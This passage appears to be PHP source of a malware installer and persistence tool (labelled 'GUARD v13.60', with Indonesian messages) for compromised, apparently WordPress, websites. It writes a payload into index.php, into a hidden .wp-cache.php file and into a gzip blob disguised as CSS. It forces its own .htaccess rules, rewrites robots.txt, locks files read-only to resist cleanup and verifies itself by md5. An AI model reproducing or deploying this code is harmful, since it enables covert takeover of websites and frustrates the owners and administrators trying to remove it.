$r = preg_replace("#\\\$_s\s*=\s*'[^']+';[^\n]*\n+\\\$_d\s*=\s*false;[^\n]*\n+if\s*\(\s*function_exists\s*\(\s*['\"]gzdecode['\"][^\n]*\n+if\s*\(\s*\\\$_d\s*!==\s*false[^\n]*\n+unset\s*\(\s*\\\$_d[^\n]*\n+#", "", $c); if ($r !== null) $c = $r;
return _write($indexFile, $c);
}
// ================================================================
// HANDLERS: MIGRATE, REBUILD
// ================================================================
if ($doMigrate) {
while (ob_get_level() > 0) { @ob_end_clean(); }
echo "";
_out("MIGRATE\n\n");
$target = $baseDir . '/.wp-cache.php';
if (!file_exists($legacyPayloadFile)) _out(" .immunify.php tidak ada\n");
elseif (file_exists($target)) { @chmod($legacyPayloadFile, 0644); @unlink($legacyPayloadFile); _out(" hapus .immunify.php lama\n"); }
else {
@chmod($legacyPayloadFile, 0644);
if (@rename($legacyPayloadFile, $target)) { _out(" [OK] rename OK\n"); @chmod($target, 0444); }
else _out(" [FAIL] rename GAGAL\n");
}
if (file_exists($indexFile)) {
@chmod($indexFile, 0644);
$c = @file_get_contents($indexFile);
if ($c !== false) {
$c2 = str_replace('.immunify.php', '.wp-cache.php', $c);
if ($c2 !== $c && _write($indexFile, $c2)) { @chmod($indexFile, 0444); _out(" [OK] index.php OK\n"); }
}
}
if (function_exists('opcache_invalidate')) { @opcache_invalidate($indexFile, true); @opcache_invalidate($target, true); }
_out("\n--- DONE ---\n "); exit;
}
if ($doRebuild) {
while (ob_get_level() > 0) { @ob_end_clean(); }
echo "";
_out("REBUILD\n\nPayload: " . $payloadFile . "\n");
if (!$skipValidate) {
$v = _validate_php($classicImmunifyContent);
if ($v !== true) _out(" [WARN] VALIDASI: " . $v . " (tetap tulis, tapi mungkin error runtime)\n");
else _out(" [OK] Validasi OK\n");
}
_out("\n");
@chmod($payloadDir, 0755); @clearstatcache();
if (file_exists($payloadFile) && @md5_file($payloadFile) === $classicImmunifyMd5) {
_out("Payload sudah OK.\n\n--- DONE ---\n "); exit;
}
if (_write($payloadFile, $classicImmunifyContent)) {
@chmod($payloadFile, 0444);
if (function_exists('opcache_invalidate')) { @opcache_invalidate($payloadFile, true); }
@clearstatcache();
$gotMd5 = @md5_file($payloadFile);
_out(" [OK] " . @filesize($payloadFile) . " b | md5: " . $gotMd5 . " " . ($gotMd5 === $classicImmunifyMd5 ? 'MATCH' : 'MISMATCH') . "\n");
} else _out(" [FAIL] GAGAL\n");
_out("\n--- DONE ---\n"); exit;
}
// ================================================================
// UI
// ================================================================
$action = $isGuard || $isGuardOff || $isTest || $reRobots || $lockOnly || $scanAll;
if (!$action) {
$phpv = phpversion();
$phpOk = version_compare($phpv, '7.0.0', '>=');
$gzOk = function_exists('gzencode') && function_exists('gzdecode');
echo "System ";
echo "";
echo "
System - GUARD v13.60 ";
echo "
PHP $phpv | Trick: " . ($phpOk ? 'OK ' : 'butuh PHP 7+ ')
. " | zlib: " . ($gzOk ? 'OK ' : 'tidak tersedia ')
. " | server: " . ($serverSw ?: '?') . "
";
if ($isNginx) echo "
[WARN] NGINX - .htaccess TIDAK DIPAKAI. FilesMatch tidak akan berefek.
";
elseif ($isLiteSpeed) echo "
[INFO] LiteSpeed - .htaccess DIPAKAI. FilesMatch akan aktif.
";
echo "
v13.60: LENIENT mode - .htaccess ditulis PALING AWAL (step 3). Semua step FAIL tidak abort kecuali PRE-FLIGHT/UNLOCK. Tambah ?strict=1 untuk mode lama, ?skipvalidate=1 untuk skip validasi payload, ?forceidx=1 untuk index.php = PAYLOAD langsung.
";
$activeName = $payloadName;
$activeDir = dirname($payloadFile);
$activeExists = file_exists($payloadFile);
$inSub = ($activeDir !== $baseDir);
$curRootMd5 = file_exists($htaccess) ? @md5_file($htaccess) : '';
$curPayMd5 = ($inSub && file_exists($payloadDir . '/.htaccess')) ? @md5_file($payloadDir . '/.htaccess') : '';
$rootHwOk = ($curRootMd5 === $expectedRootHwMd5);
$payHwOk = (!$inSub) ? true : ($curPayMd5 === $expectedPayHwMd5);
echo "
";
echo "
Payload: " . htmlspecialchars($activeName) . " - ";
if ($activeExists) {
@clearstatcache();
echo "
ADA (" . @filesize($payloadFile) . " b) ";
$curMd5 = @md5_file($payloadFile);
echo $curMd5 === $classicImmunifyMd5 ? " |
md5 MATCH " : " |
md5 BEDA ";
} else echo "
TIDAK ADA ";
echo "
Folder: " . htmlspecialchars($activeDir) . " " . ($inSub ? "(subfolder)" : "(= root)");
echo "
Root .htaccess: " . (file_exists($htaccess) ? 'ADA (' . @filesize($htaccess) . ' b)' : 'TIDAK ADA') . " - "
. ($rootHwOk ? "
[OK] MATCH " : "
[FAIL] BEDA - klik FIX ");
if ($inSub) echo "
Payload .htaccess: " . (file_exists($payloadDir . '/.htaccess') ? 'ADA (' . @filesize($payloadDir . '/.htaccess') . ' b)' : 'TIDAK ADA') . " - "
. ($payHwOk ? "
[OK] MATCH " : "
[FAIL] BEDA ");
if (!$rootHwOk || !$payHwOk) {
echo "
FIX HTAccess SEKARANG ";
echo "
Debug ";
}
echo "
";
echo "
Ganti nama / lokasi payload ";
echo "
";
echo "
CLASSIC (WP) ";
echo "
";
echo "
";
echo "
CLASSIC STANDALONE (tanpa WP) ";
echo "
";
echo "
ZLIB ";
if (!$gzOk) echo "
[WARN] zlib tidak tersedia
";
echo "
";
echo "
DIRECT ";
if (!$gzOk) echo "
[WARN] zlib tidak tersedia
";
echo "
";
// ============================================================
// NEW v13.60: FORCE-INDEX (index.php = payload langsung)
// ============================================================
echo "
FORCE-INDEX (index.php = PAYLOAD langsung) ";
echo "
index.php ditulis ulang berisi payload mentah (classic). File payload terpisah TIDAK ditulis.
";
echo "
";
echo "
ONLY LOCK ";
echo "
[LOCK] Semua 0555 ";
echo "
[UNLOCK-HT] .htaccess 0644 ";
echo "
Utility ";
echo "
REBUILD ";
echo "
FIX HTAccess ";
echo "
Debug ";
echo "
Test ";
echo "
Robots ";
echo "
Scan ";
echo "
Hapus ";
echo "
";
exit;
}
while (ob_get_level() > 0) { @ob_end_clean(); }
echo "";
@ob_implicit_flush(true);
if ($scanAll) {
_out("SCAN robots.txt\n\n");
$all = _find_all_robots($baseDir);
if (empty($all)) _out("Tidak ada.\n"); else foreach ($all as $f) _out(" " . str_replace($baseDir . '/', '', $f) . " | " . @filesize($f) . " b\n");
_out("\n--- DONE ---\n "); exit;
}
if ($lockOnly) {
_out("ONLY LOCK\n");
$r = _lock_all_555($baseDir, !$hUnlock);
_out(" chmod " . $r['n'] . " item | root " . ($r['ok'] ? '0555 OK' : 'GAGAL') . "\n\n--- DONE ---\n"); exit;
}
if ($reRobots) {
_out("RE-CAPTURE robots.txt\n");
_unlock_all($baseDir);
$cap = _capture_robots($protocol, $domain, $baseDir);
if (!empty($cap['steps'])) foreach ($cap['steps'] as $i => $st) _out(" [" . ($i+1) . "] " . $st['step'] . " HTTP " . $st['http'] . " size " . $st['size'] . "\n");
_out("Status : " . ($cap['ok'] ? 'OK' : 'GAGAL') . "\n\n--- DONE ---\n"); exit;
}
if ($isTest) {
_out("TEST v13.60\n\nBaseDir: " . $baseDir . "\n");
_out("SERVER : " . ($serverSw ?: '?') . "\n");
_out("Payload: " . $payloadFile . "\n\n");
_out("index.php: " . (file_exists($indexFile) ? 'YES (' . filesize($indexFile) . ' b)' : 'NO') . "\n");
_out("Payload: " . (file_exists($payloadFile) ? 'YES (' . filesize($payloadFile) . ' b, perm ' . substr(sprintf('%o', @fileperms($payloadFile)), -4) . ')' : 'NO') . "\n");
_out("CSS payload: " . (file_exists($cssFile) ? 'YES (' . filesize($cssFile) . ' b)' : 'NO') . "\n");
_out("root .htaccess: " . (file_exists($htaccess) ? 'YES (' . @filesize($htaccess) . ' b, md5 ' . @md5_file($htaccess) . ')' : 'NO') . "\n");
_out(" expected static : " . $expectedRootHwMd5 . " | " . (@md5_file($htaccess) === $expectedRootHwMd5 ? 'MATCH' : 'BEDA - pakai ?fixhw=1') . "\n");
if ($payloadInSubfolder) {
$pHta = $payloadDir . '/.htaccess';
_out("payload .htaccess: " . (file_exists($pHta) ? 'YES (' . @filesize($pHta) . ' b, md5 ' . @md5_file($pHta) . ')' : 'NO') . "\n");
}
_out("robots.txt: " . (file_exists($robotsFile) ? 'YES (' . filesize($robotsFile) . ' b)' : 'NO') . "\n\n");
_out("== PAYLOAD VERIFY ==\n");
_out(" Expected: " . $classicImmunifySize . " b | md5: " . $classicImmunifyMd5 . "\n");
if (file_exists($payloadFile)) {
@clearstatcache(true, $payloadFile);
$curC = @file_get_contents($payloadFile);
_out(" Current : " . @filesize($payloadFile) . " b | md5: " . @md5_file($payloadFile) . "\n");
if ($curC !== false) {
$vv = _validate_php($curC);
if ($vv === true) _out(" [OK] Syntax VALID\n\n");
else _out(" [WARN] Syntax INVALID: " . $vv . "\n\n");
}
} else _out(" (tidak ada)\n\n");
_print_file($indexFile, 'ISI index.php', 30);
_print_file($htaccess, 'root .htaccess', 60);
if ($payloadInSubfolder && file_exists($payloadDir . '/.htaccess')) _print_file($payloadDir . '/.htaccess', 'payload .htaccess', 40);
_print_file($payloadFile, 'ISI payload (30 baris)', 30);
_out("\n== Cek homepage ==\n");
$r = _hit_url($protocol . '://' . $domain . '/');
_out(" HTTP " . $r['http'] . " | size " . strlen($r['body']) . " b | " . htmlspecialchars(substr(str_replace("\n", ' ', $r['body']), 0, 100)) . "\n");
_out("\n--- DONE ---\n"); exit;
}
if ($isGuardOff) {
_out("Hapus GUARD\n");
if (file_exists($indexFile)) {
@chmod($indexFile, 0644);
_clean_index_payload($indexFile);
@clearstatcache(true, $indexFile);
$sz = @filesize($indexFile);
$content = @file_get_contents($indexFile);
$looksLikeWP = ($content !== false && (
stripos($content, 'wp-blog-header') !== false ||
stripos($content, 'WP_USE_THEMES') !== false ||
stripos($content, 'wp-load') !== false
));
if (!$looksLikeWP && $sz !== false && $sz > 2000) {
@unlink($indexFile);
_out(" - index.php dihapus (forceidx payload)\n");
} else {
_out(" - index.php dibersihkan\n");
}
}
if (file_exists($payloadFile)) { @chmod($payloadFile, 0644); @unlink($payloadFile); _out(" - payload dihapus\n"); }
if (file_exists($legacyPayloadFile) && $legacyPayloadFile !== $payloadFile) { @chmod($legacyPayloadFile, 0644); @unlink($legacyPayloadFile); }
if (file_exists($cssFile)) { @chmod($cssFile, 0644); @unlink($cssFile); _out(" - CSS dihapus\n"); }
if (file_exists($htaccess)) { @chmod($htaccess, 0644); @unlink($htaccess); _out(" - root .htaccess dihapus\n"); }
$pHta = $payloadDir . '/.htaccess';
if ($payloadInSubfolder && file_exists($pHta)) { @chmod($pHta, 0644); @unlink($pHta); _out(" - payload .htaccess dihapus\n"); }
_unlock_all($baseDir);
_out("Selesai.\n\n--- DONE ---\n"); exit;
}
// ================================================================
// INSTALL v13.60 — LENIENT (default) / STRICT (?strict=1)
// HTACCESS ditulis PALING AWAL (step 3)
// FORCE-IDX: index.php = payload mentah (classic)
// ================================================================
_out("INSTALL GUARD v13.60 - [" . $modeLabel . " + " . $lockLabel . "]" . ($forceIdx ? " [FORCE-IDX]" : "") . "\n");
_out("BaseDir : " . $baseDir . "\n");
_out("Payload : " . ($forceIdx ? "INLINE -> " . $indexFile . " (forceidx)" : $payloadName . " (" . $payloadFile . ")") . "\n");
_out("Loader : " . ($forceIdx ? "raw (forceidx)" : $loaderLabel) . "\n");
_out("Index : " . $indexLabel . "\n");
_out("Htaccess : HARDCODED FORCE root (" . $expectedRootHwSize . "b md5 " . $expectedRootHwMd5 . ")" . ($payloadInSubfolder && !$forceIdx ? " + payload dir (" . $expectedPayHwSize . "b)" : "") . "\n");
_out("Mode : " . ($useStrict ? 'STRICT (abort di failure pertama)' : 'LENIENT (lanjut walau ada FAIL)') . "\n");
_out("Validate : " . ($skipValidate ? 'SKIPPED' : 'ON (token_get_all)') . "\n");
if ($isNginx) _out("[WARN] SERVER NGINX - .htaccess tidak akan dipakai\n");
elseif ($isLiteSpeed) _out("[INFO] SERVER LiteSpeed - .htaccess dipakai\n");
_out("\n");
// ============ STEP 1: PRE-FLIGHT (abort if empty payload) ============
_out("[1] PRE-FLIGHT\n");
$rawLen = strlen($bigPayloadContent);
_out(" Payload raw : " . $rawLen . " b\n");
_out(" Payload wrap : " . $classicImmunifySize . " b | md5: " . $classicImmunifyMd5 . "\n");
if ($rawLen === 0) _fail_abort('PRE-FLIGHT', 'payload KOSONG (heredoc << 1) { _out(" [retry $try/$retries]\n"); sleep(1); }
$cssDir = dirname($cssFile);
if (!is_dir($cssDir)) @mkdir($cssDir, 0755, true);
@chmod($cssDir, 0755);
if (file_exists($cssFile) && !is_file($cssFile)) { @chmod($cssFile, 0644); @unlink($cssFile); }
@clearstatcache();
if (_install_gzip_data_atomic($cssFile, $preGz, $classicImmunifyMd5, $classicImmunifySize)) { $installed = true; break; }
$lastErr = 'atomic write/verify gagal (try ' . $try . '/' . $retries . ')';
}
if ($installed) {
@chmod($cssFile, 0444);
if (function_exists('opcache_invalidate')) { @opcache_invalidate($cssFile, true); }
if (function_exists('opcache_reset')) { @opcache_reset(); }
_istep('CSS-INSTALL', 'PASS', @filesize($cssFile) . 'b');
} else {
_step_fail('CSS-INSTALL', $lastErr);
}
} else {
_istep('CSS-INSTALL', 'SKIP', $forceIdx ? '(forceidx)' : '(classic)');
}
// ============ STEP 7: PAYLOAD ============
if ($forceIdx) {
_out("\n[7] PAYLOAD (forceidx - skip, payload ke index.php)\n");
_istep('PAYLOAD', 'SKIP', 'forceidx=1 - payload inline di index.php');
} elseif ($mode === 'classic' || $mode === 'zlib') {
_out("\n[7] PAYLOAD (" . $payloadName . ")\n");
$payloadToWrite = ($mode === 'classic') ? $classicImmunifyContent : $zlibImmunifyContent;
$payloadExpMd5 = ($mode === 'classic') ? $classicImmunifyMd5 : $zlibImmunifyMd5;
$payloadExpLen = strlen($payloadToWrite);
if (!is_dir($payloadDir)) @mkdir($payloadDir, 0755, true);
@chmod($payloadDir, 0755);
if (file_exists($payloadFile)) { @chmod($payloadFile, 0644); @clearstatcache(); }
if (_write($payloadFile, $payloadToWrite)) {
@chmod($payloadFile, 0444);
if (function_exists('opcache_invalidate')) { @opcache_invalidate($payloadFile, true); }
@clearstatcache();
$gotSize = @filesize($payloadFile);
$gotMd5 = @md5_file($payloadFile);
if ($gotSize !== $payloadExpLen) _step_fail('PAYLOAD', 'size mismatch: ' . $gotSize . ' != ' . $payloadExpLen);
elseif ($gotMd5 !== $payloadExpMd5) _step_fail('PAYLOAD', 'md5 mismatch: ' . $gotMd5);
else _istep('PAYLOAD', 'PASS', $gotSize . 'b | md5 ' . $gotMd5);
} else {
_step_fail('PAYLOAD', 'tulis GAGAL: ' . $payloadFile);
}
if ($legacyPayloadFile !== $payloadFile && file_exists($legacyPayloadFile) && !$doKeep) {
@chmod($legacyPayloadFile, 0644); @unlink($legacyPayloadFile);
}
} else {
_out("\n[7] PAYLOAD (direct)\n");
if (file_exists($payloadFile) && !$doKeep) { @chmod($payloadFile, 0644); @unlink($payloadFile); _istep('PAYLOAD', 'INFO', 'hapus'); }
else _istep('PAYLOAD', 'INFO', 'skip');
}
// ============ STEP 8: INDEX ============
_out("\n[8] INDEX\n");
if ($forceIdx) {
// FORCE-IDX: index.php diisi payload mentah (classic)
$idxContent = $classicImmunifyContent;
} else {
$idxContent = ($mode === 'direct') ? $indexContentDirect : $indexContentNormal;
}
if (_write($indexFile, $idxContent)) {
@chmod($indexFile, 0444);
if (function_exists('opcache_invalidate')) { @opcache_invalidate($indexFile, true); }
@clearstatcache();
if (@filesize($indexFile) !== strlen($idxContent)) {
_step_fail('INDEX', 'size mismatch');
} else {
if ($forceIdx) {
_out(" (forceidx: index.php = payload, " . strlen($idxContent) . " bytes, " . count(explode("\n", $idxContent)) . " baris - preview terbatas)\n");
$showLines = explode("\n", $idxContent);
$cap = 20;
foreach ($showLines as $i => $line) {
if ($i >= $cap) { _out(" ... (" . (count($showLines) - $cap) . " baris lain disembunyikan)\n"); break; }
_out(" " . str_pad(($i+1), 3, ' ', STR_PAD_LEFT) . " | " . htmlspecialchars($line) . "\n");
}
} else {
_out(" --- ISI index.php ---\n");
foreach (explode("\n", $idxContent) as $i => $line) _out(" " . str_pad(($i+1), 3, ' ', STR_PAD_LEFT) . " | " . htmlspecialchars($line) . "\n");
}
_out(" ---------------------\n");
_istep('INDEX', 'PASS', @filesize($indexFile) . 'b' . ($forceIdx ? ' (payload-as-index)' : ''));
}
} else {
_step_fail('INDEX', 'tulis GAGAL: ' . $indexFile);
}
// ============ STEP 9: ROBOTS ============
_out("\n[9] ROBOTS\n");
$allRobots = _find_all_robots($baseDir);
$purgedCount = 0;
foreach ($allRobots as $f) { @chmod($f, 0644); if (@unlink($f)) $purgedCount++; }
$cap = _capture_robots($protocol, $domain, $baseDir);
if ($cap['ok']) _istep('ROBOTS', 'PASS', $cap['size'] . 'b');
else {
@file_put_contents($robotsFile, "User-agent: *\nAllow: /\nSitemap: " . $protocol . "://" . $domain . "/sitemap.xml\n");
@chmod($robotsFile, 0644);
_istep('ROBOTS', 'WARN', 'fallback default');
}
// ============ STEP 10: SELFTEST ============
_out("\n[10] SELFTEST\n");
$testUA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
$r = _hit_url_ua($protocol . '://' . $domain . '/?_st=' . time(), $testUA, 15);
_out(" HTTP " . $r['http'] . " | size " . strlen($r['body']) . " b\n");
$is500 = ($r['http'] === 500 || stripos($r['body'], 'Internal Server Error') !== false
|| stripos($r['body'], 'Fatal error') !== false
|| (strlen($r['body']) < 50 && $r['http'] >= 400));
if ($is500) _step_fail('SELFTEST', 'HTTP ' . $r['http'] . ' - cek .htaccess / payload / opcache');
else _istep('SELFTEST', 'PASS', 'HTTP ' . $r['http'] . ' | ' . strlen($r['body']) . 'b');
// ============ STEP 11: VERIFY-AFTER-DELAY ============
_out("\n[11] VERIFY-AFTER-DELAY (3s)\n");
sleep(3); @clearstatcache();
$avNotes = array();
if ($forceIdx) {
// index.php adalah payload -> verifikasi size & md5
if (file_exists($indexFile)) {
@clearstatcache(true, $indexFile);
if (@md5_file($indexFile) !== $classicImmunifyMd5) $avNotes[] = 'index.php (payload) BERUBAH';
} else $avNotes[] = 'index.php HILANG';
} elseif ($mode !== 'direct') {
if (file_exists($payloadFile)) {
@clearstatcache(true, $payloadFile);
$gotMd5 = @md5_file($payloadFile);
$expMd5 = ($mode === 'zlib') ? $zlibImmunifyMd5 : $classicImmunifyMd5;
if ($gotMd5 !== $expMd5) $avNotes[] = 'payload md5 BERUBAH';
} else $avNotes[] = 'payload HILANG';
}
if (!$forceIdx && ($mode === 'zlib' || $mode === 'direct')) {
if (file_exists($cssFile)) {
@clearstatcache(true, $cssFile);
$raw = @file_get_contents($cssFile);
$dec = ($raw !== false && function_exists('gzdecode')) ? @gzdecode($raw) : false;
if ($dec === false || md5($dec) !== $classicImmunifyMd5) $avNotes[] = 'CSS gzip CORRUPT/HILANG';
} else $avNotes[] = 'CSS gzip HILANG';
}
if (file_exists($htaccess)) {
@clearstatcache(true, $htaccess);
if (@md5_file($htaccess) !== $expectedRootHwMd5) $avNotes[] = 'root .htaccess BERUBAH';
} else $avNotes[] = 'root .htaccess HILANG';
if ($payloadInSubfolder && !$forceIdx) {
$pHtaPath = $payloadDir . '/.htaccess';
if (file_exists($pHtaPath)) {
@clearstatcache(true, $pHtaPath);
if (@md5_file($pHtaPath) !== $expectedPayHwMd5) $avNotes[] = 'payload .htaccess BERUBAH';
} else $avNotes[] = 'payload .htaccess HILANG';
}
if (empty($avNotes)) _istep('VERIFY-AFTER-DELAY', 'PASS', 'semua file utuh');
else _step_fail('VERIFY-AFTER-DELAY', implode(' | ', $avNotes));
// ============ STEP 12: HEAL-HTACCESS ============
_out("\n[12] HEAL-HTACCESS\n");
$rootOk = file_exists($htaccess) && @md5_file($htaccess) === $expectedRootHwMd5;
$payOk = (!$payloadInSubfolder || $forceIdx) || (file_exists($payloadDir . '/.htaccess') && @md5_file($payloadDir . '/.htaccess') === $expectedPayHwMd5);
if ($rootOk && $payOk) {
_istep('HEAL-HTACCESS', 'PASS', 'utuh, tidak perlu heal');
} else {
_out(" mismatch - force re-write...\n");
_unlock_all($baseDir);
if (!$rootOk) {
_force_write_htaccess($htaccess, $HTACCESS_ROOT_CONTENT);
@chmod($htaccess, 0644); @clearstatcache();
_out(" root rewrite: " . (@md5_file($htaccess) === $expectedRootHwMd5 ? 'MATCH' : 'MISMATCH') . "\n");
}
if ($payloadInSubfolder && !$forceIdx && !$payOk) {
$pHtaPath = $payloadDir . '/.htaccess';
_force_write_htaccess($pHtaPath, $HTACCESS_PAYLOAD_CONTENT);
@chmod($pHtaPath, 0644); @clearstatcache();
_out(" payload rewrite: " . (@md5_file($pHtaPath) === $expectedPayHwMd5 ? 'MATCH' : 'MISMATCH') . "\n");
}
sleep(1); @clearstatcache();
$rootOk2 = file_exists($htaccess) && @md5_file($htaccess) === $expectedRootHwMd5;
$payOk2 = (!$payloadInSubfolder || $forceIdx) || (file_exists($payloadDir . '/.htaccess') && @md5_file($payloadDir . '/.htaccess') === $expectedPayHwMd5);
if ($rootOk2 && $payOk2) _istep('HEAL-HTACCESS', 'PASS', 'auto-heal OK');
else _step_fail('HEAL-HTACCESS', 'auto-heal GAGAL - cek ?htdebug=1');
}
// ============ STEP 13: LOCK ============
if ($withLock) {
_out("\n[13] LOCK\n");
$r = _lock_all_555($baseDir, !$hUnlock);
@clearstatcache();
$perm = substr(sprintf('%o', @fileperms($baseDir)), -4);
if ($perm !== '0555') _step_fail('LOCK', 'root perm ' . $perm);
else _istep('LOCK', 'PASS', $r['n'] . ' item 0555');
} else {
_istep('LOCK', 'SKIP', '(lock=0)');
}
_print_summary(false);
?>